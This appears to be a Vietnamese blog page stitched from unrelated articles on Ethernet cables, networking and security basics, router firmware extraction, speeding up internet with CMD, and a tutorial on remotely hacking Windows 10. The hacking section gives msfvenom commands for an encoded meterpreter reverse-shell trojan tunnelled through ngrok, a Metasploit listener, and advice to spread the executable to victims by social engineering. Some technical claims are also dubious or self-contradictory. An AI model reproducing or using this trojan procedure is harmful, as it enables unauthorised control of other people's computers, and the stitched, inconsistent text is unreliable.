Loại cáp bạn mua cũng có thể tạo ra sự khác biệt. Cáp cấp cao hơn hoạt động ở tốc độ nhanh hơn và tần số cao hơn (Cat-5e hoạt động ở 100MHz, trong khi Cat-6a chạy ở 500MHz) dễ bị nhiễu hơn. Đây là một trong những lý do khiến cáp nhanh hơn đắt hơn.

Độ tinh khiết của đồng và mất tín hiệu

Cáp Ethernet truyền tín hiệu mạng bằng đồng, một vật liệu dẫn điện cao và phổ biến được sử dụng cho viễn thông kể từ những đường dây điện thoại đầu tiên. Chất lượng của đồng được sử dụng thường biểu thị chất lượng tín hiệu và điều này được phản ánh qua giá cả.

Cáp rẻ hơn có thể chỉ sử dụng nhôm bọc đồng, có thể bị mất tín hiệu thường xuyên hơn vì nhôm nở ra và co lại khi nóng lên và nguội đi. Đồng nguyên chất ổn định hơn, bền hơn và dẫn điện cao hơn nhưng nó cũng có một số vấn đề.

Dây đồng không chứa oxy được làm từ hơn 99,95% đồng nguyên chất, có ít tạp chất như oxy và sắt hơn so với dây đồng nguyên chất tiêu chuẩn có thể “chỉ” là 99,5% tinh khiết.

Mạ vàng và RJ-45

Vàng thường được sử dụng trong các đầu nối cho tất cả các loại kết nối, từ giắc cắm âm thanh 3,5 mm đến cáp HDMI. Có một lợi thế rõ ràng mà vàng có so với các kim loại khác: tốc độ oxy hóa thấp. Trong khi bạc có thể dẫn điện tốt hơn, vàng sẽ bị oxy hóa với tốc độ chậm hơn, có nghĩa là tuổi thọ cao hơn. Đây là lý do tại sao hầu hết các đầu nối RJ-45 sẽ sử dụng lớp mạ vàng.

Một điều cần lưu ý là độ dày của vàng được sử dụng trên đầu kết nối, đặc biệt nếu bạn thường xuyên tháo và kết nối lại cáp. Cáp chất lượng cao hơn sẽ sử dụng lớp mạ vàng dày hơn, sẽ bị mòn với tốc độ chậm hơn.

Lớp mạ này được đo bằng micrômet, với 50 micrômet là độ dày tối ưu. Tốt nhất bạn nên tìm thông số này trên hộp hoặc trong mô tả sản phẩm để đảm bảo cáp của bạn có chất lượng cao.

Cân nhắc tự bấm cáp mạng của riêng bạn

Nếu bạn thuộc tuýp người tự làm, bạn có thể cân nhắc đến việc tự làm cáp mạng. Có các công cụ và bộ phận để đảm bảo rằng bạn có thể sửa các đầu nối bị hỏng, cắt các đầu bị sờn và tạo các loại cáp chính xác với thời gian bạn muốn. Điều này sẽ khiến bạn tốn nhiều tiền hơn so với cáp tiêu chuẩn lúc đầu, nhưng có thể sẽ rẻ hơn theo thời gian.

Tổng kết lại thì bạn nên chọn dây mạng cat6 cho hộ gia đình. Mình đang dùng dây mạng Cat-6 của Ugreen và thấy rất ok nhé. Bạn có thể tham khảo sản phẩm dây mạng Ugreen Cat-6 tại đây.

Câu hỏi thường gặp

Tôi nên chọn loại cáp mạng nào cho nhu cầu sử dụng tại nhà?

Đối với hầu hết hộ gia đình, cáp Cat-6 là sự lựa chọn lý tưởng, đáp ứng tốt nhu cầu tốc độ và độ ổn định. Cat-6a hoặc Cat-8 có thể được cân nhắc nếu bạn cần tốc độ cực cao hoặc có nhiều thiết bị kết nối.

Cáp mạng được bảo vệ (STP) và không được bảo vệ (UTP) khác nhau như thế nào?

Cáp STP được bảo vệ tốt hơn khỏi nhiễu điện từ, phù hợp với môi trường nhiều nhiễu. Cáp UTP rẻ hơn, linh hoạt hơn nhưng dễ bị nhiễu hơn, phù hợp với môi trường ít nhiễu như nhà ở.

Độ dày lớp mạ vàng trên đầu nối RJ-45 có quan trọng không?

Độ dày lớp mạ vàng ảnh hưởng đến tuổi thọ của đầu nối. Lớp mạ vàng dày hơn (ví dụ, 50 micrômet) giúp tăng độ bền và chống oxy hóa, đảm bảo kết nối ổn định lâu dài.

Mạng máy tính được hình thành khi các máy tính liên kết với nhau để trao đổi dữ liệu. Mỗi khi hai hoặc nhiều máy tính được thiết lập để trao đổi dữ liệu với nhau, bạn đã hình thành một mạng máy tính. Đơn giản mà đúng không. Mạng có thể được hình thành bằng cáp vật lý và chúng cũng có thể được hình thành thông qua các công nghệ không dây như WiFi và Bluetooth. Nhiều mạng máy tính chúng ta sử dụng ngày nay sử dụng cả kết nối vật lý và kết nối không dây. Chúng ta cũng đang chứng kiến ​​sự tăng trưởng trong việc triển khai các mạng ảo hóa trên nền tảng đám mây.

Có nhiều cách phân loại mạng theo quy mô của chúng. Hầu hết các gia đình và văn phòng nhỏ đều có mạng LAN, Mạng cục bộ kết nối một vài hoặc một số thiết bị đầu cuối (PC, điện thoại, máy tính bảng, consoles, máy in và các thiết bị Internet of Things như loa thông minh và các thiết bị thông minh) với một hub trung tâm, thường là router. Trong hầu hết các mạng LAN, router được kết nối với một mạng lớn hơn nhiều, đó là Internet.

Internet là mạng máy tính lớn nhất thế giới. Nhưng hầu hết tất cả các mạng có độ dài hàng trăm km trở lên đều được phân loại là WAN, Mạng diện rộng (Wide Area Networks). Internet là mạng WAN và nhiều mạng khác cũng vậy. Sau đó, chúng ta có các cách phân loại khác như MAN, Mạng Khu vực Đô thị (Metropolitan Area Networks) bao gồm khu vực của một thành phố. CAN hoặc Mạng Khu vực Khuôn viên (Campus Area Networks) bao phủ khu vực trường học, bệnh viện hoặc khuôn viên nơi làm việc. Quy mô nhỏ hơn thành phố, nhưng lớn hơn một mạng LAN là PAN hoặc Mạng Khu vực Cá nhân (Personal Area Networks) chỉ đơn giản là một loại mạng LAN mới với tốc độ truyền dữ liệu thấp hơn, thường dành cho mục đích giải trí gia đình. Đôi khi mạng WAN lớn nhất, internet, được gọi là GAN ​​- Mạng khu vực toàn cầu (Global Area Network).

Tiếp theo, chúng ta hãy đi vào những kiến ​​thức cơ bản về an ninh mạng.

An ninh mạng là gì?

An ninh mạng là cybersecurity hoặc bảo mật thông tin liên quan đến mạng máy tính. Hầu hết các cuộc tấn công mạng được tiến hành thông qua mạng máy tính, đặc biệt là mạng internet công cộng. Đó là nguồn gốc phổ biến nhất của tất cả các loại phần mềm độc hại, các cuộc tấn công trung gian, vi phạm dữ liệu và nhiều vấn đề khác. Điều mà tất cả tin tặc và những người hành nghề an ninh mạng cần phải biết là hiểu rõ về an ninh mạng.

Mối quan hệ giữa máy tính và an ninh mạng

Mối quan hệ giữa máy tính và an ninh mạng rất đơn giản và dễ hiểu. Bảo mật máy tính và an ninh mạng có nghĩa giống hệt nhau. Nếu một kẻ đe dọa đánh cắp ổ USB có chứa dữ liệu nhạy cảm, đó chắc chắn là một vấn đề an ninh mạng. Nhưng có lẽ đây không phải là vấn đề an ninh mạng vì dữ liệu trái phép được lấy mà không thông qua khai thác mạng máy tính. Nhưng nếu kẻ đe dọa đó có được tên người dùng và mật khẩu vào tài khoản của người khác và sử dụng chúng để làm mọi trò xấu, thì đó chắc chắn là một vấn đề an ninh mạng.

Những điều bạn phải biết về bảo mật tường lửa mạng

Trong bối cảnh an ninh mạng, tường lửa là thiết bị hoặc ứng dụng phần mềm lọc lưu lượng mạng theo các chỉ số và đặc điểm có thể đo lường được. Internet và hầu hết các mạng máy tính khác sử dụng một công nghệ gọi là TCP/IP, là một cách để tổ chức lưu lượng mạng thành hàng nghìn cổng tùy theo loại dịch vụ mà chúng cung cấp. Có tổng cộng 65.535 cổng TCP/IP và chúng tahầu như không sử dụng hết chúng. Một số cổng được sử dụng phổ biến nhất bao gồm cổng 443 cho lưu lượng web được mã hóa HTTPS và cổng 25, 465, 587 và 2525 cho các loại dịch vụ email SMTP khác nhau.

Một trong những loại tường lửa mạng phổ biến nhất là tường lửa chặn và lọc các cổng TCP/IP. Đặc điểm chung của các loại tường lửa này là chặn bất kỳ cổng nào bạn không bao giờ sử dụng và lọc các cổng bạn cần. Bằng cách đó, kẻ tấn công sẽ có ít cách hơn để khai thác bạn.

Một số tường lửa cũng có thể chặn hoặc cho phép các ứng dụng. Các tường lửa khác chặn hoặc cho phép hoạt động mạng tùy theo cách nó hoạt động. Một số tường lửa có thể thực hiện nhiều kiểu chặn và lọc. Cấu hình tường lửa để bảo mật mạng tối ưu có thể là một quá trình phức tạp. Và không có tường lửa hoặc cấu hình tường lửa nào khiến bạn trở nên bất khả chiến bại trước các cuộc tấn công mạng. Nhưng nó có thể cải thiện đáng kể tính bảo mật của mạng.

Các công cụ và thiết bị bảo mật mạng

Ngoài ra còn có các loại thiết bị an ninh mạng khác. Một số có thể được tìm thấy trong nhà của bạn, nhưng hầu hết chúng thường được thấy trong các mạng lưới học tập, tổ chức, và doanh nghiệp.

Hệ thống phát hiện xâm nhập hoặc IDS thường được thấy trong các mạng học tập, tổ chức, và doanh nghiệp. Nhưng đôi khi tính năng này cũng bắt đầu xuất hiện trong các thiết bị mạng gia đình. Các hệ thống này giám sát hoạt động mạng và báo cáo hoạt động có vẻ độc hại để các chuyên gia an ninh mạng có thể giải quyết chúng. Đôi khi bạn cũng sẽ nghe nói về Hệ thống ngăn chặn xâm nhập (IPS). Hệ thống này sẽ cố gắng ngăn chặn bất kỳ hoạt động mạng độc hại nào được phát hiện.

Tất cả chúng ta nên có phần mềm chống vi-rút trên PC, máy tính bảng và điện thoại của mình. Tuy nhiên, các mạng doanh nghiệp đôi khi có một máy tính hoặc một thiết bị chuyên dùng để quét mạng, tìm phần mềm độc hại và ngăn không cho phần mềm đó thực thi trên bất kỳ máy nào trong mạng.

Honeypots trong bối cảnh an ninh mạng là những máy tính được thiết kế để tội phạm mạng tấn công. Mục đích của chúng là ngăn chặn các cuộc tấn công khỏi phần còn lại của mạng và theo dõi cách các cuộc tấn công mạng hoạt động để cải thiện khả năng phục hồi của mạng trước các cuộc tấn công mạng.

Các trung tâm dữ liệu thực sự lớn đôi khi có SIEM, một hệ thống Quản lý Sự kiện và Thông tin Bảo mật. Chúng có thể được định cấu hình với các quy tắc SIEM để quét tất cả nhật ký thiết bị trong mạng để tìm hành vi bất thường hoặc độc hại nhằm ngăn chặn các cuộc tấn công mạng. Chúng thường được sử dụng nhất trong SOC, một trung tâm hoạt động bảo mật mà rất nhiều công ty và tổ chức lớn hơn sử dụng để bảo vệ hệ thống chống lại các cuộc tấn công mạng.

Kỹ sư an ninh mạng và các vai trò khác

Một kỹ sư an ninh mạng được đào tạo về bảo mật an ninh mạng. Họ làm việc hàng ngày để bảo vệ mạng khỏi các cuộc tấn công mạng. Dưới đây là một số vai trò khác trong an ninh mạng. Một nhà phân tích SOC thực hiện công việc hàng ngày trong SOC. Quản trị viên mạng vận hành mạng với một số trách nhiệm bảo mật. Trong các tổ chức nhỏ hơn, quản trị viên mạng có thể là người phụ trách toàn bộ an ninh mạng. Trong các tổ chức lớn hơn, quản trị viên mạng cộng tác với các chuyên gia an ninh mạng để thực hiện công việc quản trị mạng liên tục.

Ngoài ra, bạn cũng có thể xem cách bắt đầu học an ninh mạng tại đây.

Câu hỏi thường gặp

An ninh mạng khác với bảo mật máy tính như thế nào?

Về cơ bản, cả hai đều nhằm mục đích bảo vệ dữ liệu. Tuy nhiên, an ninh mạng tập trung vào việc bảo vệ dữ liệu trên mạng máy tính, trong khi bảo mật máy tính bao gồm cả việc bảo vệ dữ liệu trên các thiết bị riêng lẻ. Việc đánh cắp một ổ USB chứa dữ liệu nhạy cảm là vấn đề bảo mật máy tính, nhưng nếu kẻ tấn công xâm nhập mạng để đánh cắp dữ liệu, đó là vấn đề an ninh mạng.

Tường lửa mạng hoạt động như thế nào trong việc bảo vệ an ninh?

Tường lửa hoạt động như một bộ lọc, kiểm soát lưu lượng mạng đi vào và đi ra khỏi hệ thống. Nó chặn hoặc cho phép truy cập vào các cổng TCP/IP cụ thể, giúp ngăn chặn các cuộc tấn công mạng bằng cách hạn chế các cổng mà kẻ tấn công có thể khai thác.

Tôi cần những công cụ nào để bảo vệ mạng của mình?

Phụ thuộc vào quy mô và loại mạng, bạn có thể cần phần mềm diệt virus, tường lửa, hệ thống phát hiện/ngăn chặn xâm nhập (IDS/IPS), và trong một số trường hợp, hệ thống quản lý sự kiện và thông tin bảo mật (SIEM). Đối với người dùng cá nhân, phần mềm diệt virus và tường lửa là những công cụ tối thiểu cần thiết.

Chuẩn bị

Điều đầu tiên và quan trọng nhất là tìm một router firmware cần được phân tích. Trong trường hợp này, chúng ta đã được cung cấp mục tiêu nên mình sẽ tải firmware về máy Linux.

Chúng ta cần tải firmware V2 của Linksys WRT1900ACS. Bạn có thể tải firmware này tại đây.

Sau khi tải xuống, bạn có thể chạy lệnh ‘file’ để tìm kiếm các thông tin cơ bản của tệp.

Chúng ta có thể thấy rằng đây là ‘u-boot legacy uImage’ và là firmware của Router Linksys WRT1900ACS dựa trên Linux/ARM.

Bây giờ chúng ta đã hoàn tất việc thu thập thông tin cơ bản vào giai đoạn chuẩn bị – Cho phép. điều tra phần sụn.

Bắt đầu điều tra

Một công cụ quan trọng ở đây là lệnh ‘string’. Nó cung cấp cho chúng ta tất cả thông tin chuỗi cơ bản (được công nhận bằng tiếng Anh) mà nó có thể tìm thấy trong mã nhị phân của tệp. Chạy lệnh và xem những gì chúng ta có thể tìm thấy nào.

Có một số lượng cực lớn các chuỗi được tìm thấy ở đây, bạn cần lưu chúng vào một tệp văn bản để phân tích dễ dàng hơn.

Sử dụng lệnh less để xem vài dòng đầu tiên của file.

Dòng đầu tiên cần được chú ý vì nó cung cấp cho chúng ta thông tin về firmware này và router mà nó được tạo ra. Bây giờ chúng ta sẽ tìm hệ điều hành. Chúng ta có thể in toàn bộ tệp và tìm kiếm bằng lệnh ‘grep’.

Dựa vào kết quả trên thì chúng ta chắc chắn là hệ điều hành Linux. Chúng ta có thể thấy trong ảnh ở trên có một số thư mục được liệt kê.

Bây giờ chúng ta đã có một cái nhìn tổng quan. Chúng ta cần giải nén firmware. Để giải nén firmware, mình sẽ sử dụng “BinWalk”.

Chúng ta gặp lỗi và binwalk không thể giải nén file system. Điều này là do binwalk không hỗ trợ JFFS2. Đầu tiên chúng ta cần thiết lập nó. Thực hiện những lệnh sau:

sudo pip install cstruct
git clone https://github.com/sviehb/jefferson cd jefferson
python setup.py install

Sau khi cài đặt thành công, hãy chạy lại binwalk và bây giờ chúng ta có thể thấy rằng binwalk đã xác định file system là JFFS2.

Bây giờ chúng ta có rất nhiều thông tin liên quan đến firmware. Kích thước tiêu đề, kích thước hình ảnh, kiểm tra CRC, ngày tạo gần đây nhất, chi tiết hệ điều hành, CPU mà nó chạy trên đó,…

Binwalk tạo một thư mục riêng cho dữ liệu mà nó trích xuất.

Chúng ta có thể thấy rằng có một tệp hiển thị filesystem JFFS2 và tệp kia là tệp gzip. Chạy tệp sẽ xuất ra 6870 và không có dữ liệu nào khác. Điều này có nghĩa là binwalk đã hiểu sai dữ liệu, chúng ta có thể chạy lại binwalk trên tệp để tìm kiếm các khả năng khác để thử và trích xuất dữ liệu theo đúng định dạng.

Chúng ta có thể thấy rằng tệp này chứa một bản sao của một nhân Linux thực; binwalk cũng cho chúng ta thấy phiên bản mà kernel này hoạt động. Chúng ta cũng có thể thấy một số dữ liệu nén LZMA và một số dữ liệu lưu trữ cpio.

Bước tiếp theo là mounting firmaware để phân tích kỹ hơn phần này.

Mounting

Đầu tiên, chúng ta cần tạo một “Block Device”. Nó có thể được thực hiện bằng cách sử dụng lệnh:

mknod /dev/mtdblock0 b 31 0

Sau đó, chúng ta cần tạo một thư mục để đẩy filesystem của mình đến đó bằng lệnh:

mkdir /mnt/jffs2_file/

Firmware yêu cầu một số mô-đun kernel. Vì vậy, chúng ta cần tải tất cả chúng để đảm bảo rằng filesystem được hoạt động tốt. Bạn có thể sử dụng các lệnh sau:

modprobe jffs2
modprobe mtdram
modprobe mtdblock

Bây giờ chúng ta cần ghi image vào “Block Device” và nó có thể được thực hiện bằng lệnh:

dd if=/root/Router/600000.jffs2 of=/dev/mtdblock0

Tiếp theo, chúng ta cần mount filesystem bằng lệnh:

mount -t jffs2 /dev/mtdblock0 /mnt/jffs2_file/

Cuối cùng, chúng ta sẽ truy cập vào filesystem được mount bằng lệnh:

cd /mnt/jffs2_file/

Sau khi tất cả hoàn thành, thực hiện lệnh ls để hiển thị các thư mục. Chúng ta vừa mount firmware này vào local :v.

Khi liệt kê tất cả các tệp, chúng ta có thể thấy rằng một số tệp đang được liên kết tượng trưng với các vị trí khác. Về bản chất, một số tệp có ‘shortcuts’ đến những tệp khác ở nơi khác trên file system.

Ngoài ra, chúng ta có thể thấy rằng có ba thư mục mẹ được liên kết với thư mục /tmp/. Chúng ta cũng có thể thấy thư mục /www/, đây là nơi dữ liệu ứng dụng web sẽ được lưu trữ.

Hãy xem trong thư mục bin:

Chúng ta có thể thấy rằng cơ sở dữ liệu là “sqlite3”.

Bây giờ chúng ta hãy xem những gì bên trong thư mục etc.

Có rất nhiều tệp cấu hình ở đây, cùng với rất nhiều dữ liệu. Hãy xem qua tệp thebuilddate. Mình tự hỏi tệp này có thể làm gì ???

Ở đây cũng có các khóa RSA và chúng ta có thể thấy rằng máy chủ SSH đang được sử dụng ở đây là “dropbear”.

Thú vị thật, có những dữ liệu của máy chủ trung gian cũng được hiển thị ở đây. Kiểm tra thêm cho thấy đây là của Cisco.

Hãy xem các file service khác để biết càng nhiều thông tin liên quan đến các giao thức được sử dụng và số cổng được chỉ định của chúng.

Có một tệp khác được gọi là “system_defaults” chứa tất cả các cài đặt mặc định cho router.

Có một tệp chứa phiên bản firmware.

Có một thư mục tên là JNAP chứa các tập lệnh lua. Các tập lệnh này được sử dụng để điều khiển mạng.

Đây là bản tóm tắt rất nhanh về phân tích firmware của router. Ngoài ra, bạn cũng có thể xem thêm các phòng để tập hack trên tryhackme tại đây.

Câu hỏi thường gặp

Tôi cần những công cụ gì để phân tích firmware router?

Bạn sẽ cần các công cụ dòng lệnh như file, strings, grep, less, binwalk, dd, mount, và có thể cần cài đặt thêm cstruct và jefferson (cho binwalk).

Làm thế nào để giải nén hệ thống tập tin JFFS2 trong firmware?

Firmware thường được nén bằng JFFS2. Bạn cần cài đặt cstruct và jefferson, sau đó sử dụng binwalk để giải nén. Nếu gặp lỗi, hãy kiểm tra xem các mô-đun kernel cần thiết (như jffs2, mtdram, mtdblock) đã được tải chưa.

Sau khi giải nén, tôi nên làm gì tiếp theo để phân tích firmware?

Sau khi giải nén, bạn có thể sử dụng mount để gắn hệ thống tập tin vào một thư mục trên hệ thống của bạn. Sau đó, bạn có thể duyệt qua các thư mục như /bin, /etc, /www để tìm thông tin cấu hình, tập tin cấu hình, cơ sở dữ liệu, và các tập tin khác có thể chứa thông tin hữu ích.

Một cách khá thường dùng là chuyển tiếp cổng router. Nhưng hôm nay chúng ta sẽ thảo luận thêm một phương pháp khác mà qua đó bạn có thể dễ dàng chạy Metasploit qua mạng WAN mà không cần sử dụng chuyển tiếp cổng vì chuyển tiếp cổng luôn là một nhiệm vụ đầy thách thức đối với tất cả chúng ta.

Hack Windows 10 từ xa qua mạng WAN với Metasploit

Các bước thực hiện:

1. Tạo tài khoản trên ngrok.com.
2. Tải xuống và định cấu hình Ngrok trên máy Kali Linux của bạn.
3. Khởi động dịch vụ TCP hoặc HTTP.
4. Tạo payload với Msfvenom.
5. Khởi động Listener với Metasploit Framework.
6. Phát tán Trojan của bạn qua internet.

Mình sẽ bỏ qua bước 1 và bước 2 vì bạn có thể đọc qua bài viết này để thực hiện 2 bước đầu tiên.

Sau khi cài đặt xong Ngrok, hãy khởi động dịch vụ Ngrok TCP trên cổng 4444 bằng cách nhập lệnh dưới đây:

./ngrok tcp 4444

Bạn có thể sử dụng bất kỳ cổng nào nhưng mình khuyên bạn nên sử dụng cổng 4444 cho trường hợp này.

Bước tiếp theo là tạo một payload độc hại với sự trợ giúp của Msfvenom như sau:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=<Your Ngrok URL> LPORT=<Your Ngrok Port> -b “\x00” -e x86/shikhata_ga_nai -f exe -o /root/Desktop/<filename>.exe

Giải thích các tùy chọn:

• -p là viết tắt của payload.
• -e là viết tắt của encoder.
• -o là viết tắt của output.
• -f là viết tắt của fileformat.

Msfvenom là sự kết hợp của Msfpayload và Msfencode, đưa cả hai công cụ này vào một phiên bản Framework duy nhất. Msfvenom đã thay thế cả msfpayload và msfencode kể từ ngày 8 tháng 6 năm 2015.

Đây là danh sách các nền tảng có sẵn mà người ta có thể nhập khi sử dụng tùy chọn –platform.

• Cisco hoặc cisco
• OSX hoặc osx
• Solaris hoặc solaris
• BSD hoặc bsd
• OpenBSD hoặc openbsd
• hardware
• Firefox hoặc firefox
• BSDi hoặc bsdi
• NetBSD hoặc netbsd
• NodeJS hoặc nodejs
• FreeBSD hoặc freebsd
• Python hoặc python
• AIX hoặc aix
• JavaScript hoặc javascript
• HPUX hoặc hpux
• PHP hoặc php
• Irix hoặc irix
• Unix hoặc unix
• Linux hoặc linux
• Ruby hoặc ruby
• Java hoặc java
• Android hoặc android
• Netware hoặc netware
• Windows hoặc windows
• mainframe
• multi

Để xem danh sách tất cả các bộ encoders, hãy nhập “msfvenom -l encoders” vào terminal của bạn.

Khi nạn nhân nhấp vào tệp gtavicty.exe, payload sẽ được kích hoạt và sẽ tìm cách tạo kết nối trở lại hệ thống của bạn (LHOST). Để kết nối thành công, bạn sẽ cần mở trình xử lý đa năng trong Metasploit để nhận kết nối.

Khởi động framework metasploit bằng cách nhập “msfconsole” vào terminal của bạn.

Exploit mà chúng ta sẽ sử dụng là “use exploit/multi/handler”

Payload là “set payload windows/meterpreter/reverse_tcp”

Ở đây bạn cần đặt LHOST và LPORT.

set LHOST 0.0.0.0
set LPORT 4444

Chỉ cần gõ “run” trong terminal của bạn. Giờ đây, bạn có thể sử dụng bất kỳ phương pháp social engineering nào để phát tán tệp thực thi độc hại của mình qua Internet.

Khi nạn nhân nhấp vào tệp thực thi là gtavicty.exe, phiên meterpreter sẽ được mở ngay lập tức.

Vì vậy, ở đây, ngrok sẽ tự động chuyển tiếp tất cả lưu lượng đến máy localhost của bạn. Nhập “sysinfo” để biết thêm về mục tiêu của bạn.

Để biết ID quy trình, chỉ cần nhập “getpid” trong cùng một terminal.

Vậy là xong rồi đó.

Câu hỏi thường gặp

Ngrok là gì và tại sao nó được sử dụng trong bài viết này?

Ngrok là một công cụ tạo đường hầm HTTP/TCP, cho phép bạn tiếp cận các dịch vụ chạy trên máy tính cục bộ của mình thông qua Internet mà không cần cấu hình chuyển tiếp cổng trên router. Bài viết này sử dụng Ngrok để tạo một đường hầm TCP cho Metasploit, cho phép máy tính từ xa kết nối với listener của Metasploit.

Tôi có thể sử dụng cổng nào khác ngoài cổng 4444 cho Ngrok?

Có, bạn có thể sử dụng bất kỳ cổng nào chưa được sử dụng. Tuy nhiên, bài viết khuyến nghị sử dụng cổng 4444 vì nó là một lựa chọn phổ biến và dễ nhớ.

Payload là gì và vai trò của nó trong quá trình tấn công?

Payload là mã độc được tạo ra bởi Msfvenom, đóng vai trò là phần mềm độc hại được gửi đến nạn nhân. Khi nạn nhân thực thi payload, nó sẽ thiết lập kết nối ngược về máy tính của bạn (được Ngrok chuyển tiếp), cho phép bạn kiểm soát máy tính của nạn nhân thông qua Metasploit.

Cách tăng tốc độ internet bằng CMD

CMD khá hữu ích trong nhiều trường hợp. Đặc biệt CMD có thể làm được những việc mà trên giao diện không có, nếu muốn Hack Windows CMD. Nhưng trong bài này chúng ta sẽ thực hiện tăng tốc Internet trên máy tính bằng CMD đơn giản, bất cứ bạn nào cũng có thể làm được.

1. Kiểm tra tốc độ internet bằng cách sử dụng lệnh ping

Bạn có thể kiểm tra tốc độ kết nối internet của mình bằng cách sử dụng lệnh ping để gử các gói tin đến cổng mặc định.

Để biết cổng mặc định của bạn, bạn có thể sử dụng lệnh ipconfig /all. Khi bạn lấy được địa chỉ IP của cổng mặc định, hãy ping liên tục vào cổng đó bằng lệnh ping -t. Bạn sẽ thấy thời gian mà các gói tin được gửi đi và phản hồi về.

Time thấp là dấu hiệu cho thấy mạng của bạn nhanh. Tuy nhiên, việc chạy lệnh ping sẽ tiêu tốn băng thông mạng cũng như tài nguyên cổng mặc định của bạn. Mặc dù các gói dữ liệu của ping có kích thước rất nhỏ và bạn có thể không quan sát thấy bất kỳ sự thay đổi nào về tốc độ internet nhưng nó có tiêu tốn băng thông đấy.

2.  Làm mới và đổi IP khác

Nếu bạn đang sử dụng WiFi, trong trường hợp bạn làm mới hoặc đổi IP khác sẽ làm tăng tốc độ internet tạm thời, tùy thuộc vào cường độ của tín hiệu WiFi. Tuy nhiên, trong trường hợp mạng LAN, thì cách này hoàn toàn vô dụng.

Bạn dùng lệnh:

ipconfig /release // lệnh này dùng để xóa IP hiện tại của máy

ipconfig /renew //lệnh này xin cấp IP mới từ Router

3. Sử dụng lệnh Flushdns

Máy tính sẽ lưu trữ dữ liệu của các trang web mà bạn truy cập nhiều nhất trong bộ nhớ cache của trình phân giải DNS. Đôi khi, những dữ liệu này sẽ không còn dùng được nữa sau vài tháng hoặc vài tuần. Vì vậy, khi bạn xóa bộ nhớ cache của trình phân giải DNS, thì bạn cũng đã xóa các dữ liệu đã lỗi thời và giải phóng bộ nhớ cache của trình phân giải DNS.

Bạn dùng lệnh: ipconfig /flushdns

Khi sử dụng lệnh này, thời gian đầu tốc độ kết nối sẽ chậm hơn do yêu cầu máy tính phải yêu cầu DNS mới cho mọi thứ. Tuy nhiên, bạn sẽ sớm thấy các trang web load nhanh hơn trong trình duyệt.

4. Sử dụng lệnh “Netsh int tcp” để tăng tốc độ internet

Nhập lệnh này vào cmd: netsh interface tcp show global.

Nếu bạn không thấy dòng Receive Window Autotuning ở trạng thái “Normal” như được hiển thị ở trên, hãy chạy lệnh sau:

netsh int tcp set global autotuninglevel = normal

Lệnh này sẽ đặt TCP của bạn thành Normal từ trạng thái disabled hoặc restricted. TCP là một trong những yếu tố quan trọng ảnh hưởng đến tốc độ tải xuống. Do đó, việc đặt TCP thành ‘Normal’ chắc chắn sẽ giúp bạn tăng tốc độ internet của mình.

Sau lệnh này, hãy kiểm tra một tham số khác của Windows liên quan đến kết nối internet chậm được gọi là ‘Windows scaling heuristics’. Để kiểm tra thông số này, hãy nhập:

netsh interface tcp show heuristics

Trong trường hợp trên, tính năng này đã bị vô hiệu hóa. Tuy nhiên, trong một số trường hợp, bạn có thể bật nó lên. Microsoft đang cố gắng hạn chế kết nối internet của bạn vì một số lý do nào đó. Vì vậy, để truy cập internet nhanh hơn bạn chỉ cần nhập lệnh dưới đây:

netsh interface tcp set heuristics disabled

Sau khi nhấn enter, bạn sẽ nhận được thông báo “ok” và bây giờ tốc độ internet của bạn chắc chắn đã nhanh hơn.

Khi bạn đã hoàn tất các bước trên, bạn có thể thực hiện lại bước một để đo thời gian phản hồi và kiểm tra xem tốc độ internet của bạn đã tăng lên hay chưa.

Câu hỏi thường gặp

Làm thế nào để kiểm tra tốc độ internet hiện tại bằng CMD?

Sử dụng lệnh ping -t [địa chỉ IP cổng mặc định]. Thời gian phản hồi (Time) thấp cho thấy mạng nhanh. Tìm địa chỉ IP cổng mặc định bằng lệnh ipconfig /all.

Lệnh netsh int tcp có tác dụng gì trong việc tăng tốc internet?

Lệnh này điều chỉnh cài đặt TCP/IP, giúp tối ưu hóa kết nối mạng. Cụ thể, lệnh netsh int tcp set global autotuninglevel=normal và netsh interface tcp set heuristics disabled có thể giúp cải thiện tốc độ.

Tôi có cần khởi động lại máy tính sau khi thực hiện các lệnh CMD này không?

Không cần thiết. Các thay đổi sẽ được áp dụng ngay lập tức sau khi bạn thực hiện các lệnh.